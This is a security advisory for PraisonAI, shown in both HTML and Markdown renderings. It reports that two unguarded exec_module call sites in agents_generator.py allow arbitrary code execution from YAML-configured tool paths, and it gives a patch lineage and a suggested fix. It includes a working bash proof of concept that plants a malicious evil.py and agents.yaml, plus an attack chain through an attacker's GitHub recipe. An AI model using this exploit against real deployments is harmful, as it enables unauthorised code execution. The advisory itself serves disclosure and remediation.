VDB
KO
HIGH 8.1

GHSA-78r8-wwqv-r299

PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334

Details

<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3>

CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py

<p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python"># praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate

372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) </code></pre> <p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:&lt;attacker&gt;/&lt;repo&gt;/&lt;recipe&gt;"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE </code></pre> <p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash # Requires: pip install praisonai (any version &gt;= 2.0.0, &lt;= 4.6.37) set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module cat &gt; "$WORKDIR/evil.py" &lt;&lt; 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

# 2. agents.yaml that references it cat &gt; "$WORKDIR/agents.yaml" &lt;&lt; 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF

# 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "

# 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2&gt;/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi </code></pre> <h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>&gt;= 2.0.0, &lt;= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p> <pre><code class="language-python">import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... </code></pre> <p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen &amp; Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

### TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

### Patch lineage

| CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` | | **This finding** | — | **unfixed** | Missed sinks in `agents_generator.py` |

Every prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

### Vulnerable code

```python # praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate

372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) ```

Neither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be:

1. **Attacker-controlled via shared/writable config directory** — same CWD-plant vector as CVE-2026-40156. 2. **Attacker-controlled via recipe/GitHub fetch** — same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`). 3. **Attacker-influenced via prompt injection** — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

### Attack chain (recipe vector)

``` HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE ```

No `PRAISONAI_ALLOW_LOCAL_TOOLS` check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

### PoC

```bash #!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

# 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF

# 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "

# 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi ```

### Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an `agents.yaml` or colocate a `.py` file achieves code execution as the service account.

### Severity

**High** — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and `allow_any_github=True`, the attack becomes **network-reachable without authentication**, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

### CWE

- CWE-94: Improper Control of Generation of Code ('Code Injection') - CWE-426: Untrusted Search Path - CWE-829: Inclusion of Functionality from Untrusted Control Sphere

### Affected versions

All versions containing `agents_generator.py` with these functions — at minimum `>= 2.0.0, <= 4.6.37` (current `master` HEAD).

### Suggested fix

Apply the same `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate used in `tool_resolver.py` and `api/call.py` to both call sites in `agents_generator.py`:

```python import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... ```

Additionally, validate `module_path` against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

### Credit

Kai Aizen & Avraham Shemesh / [[SnailSploit](https://snailsploit.com/)](https://snailsploit.com)

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / praisonai
Introduced in: 0 Fixed in: 4.6.40
Fix pip install --upgrade 'praisonai>=4.6.40'

References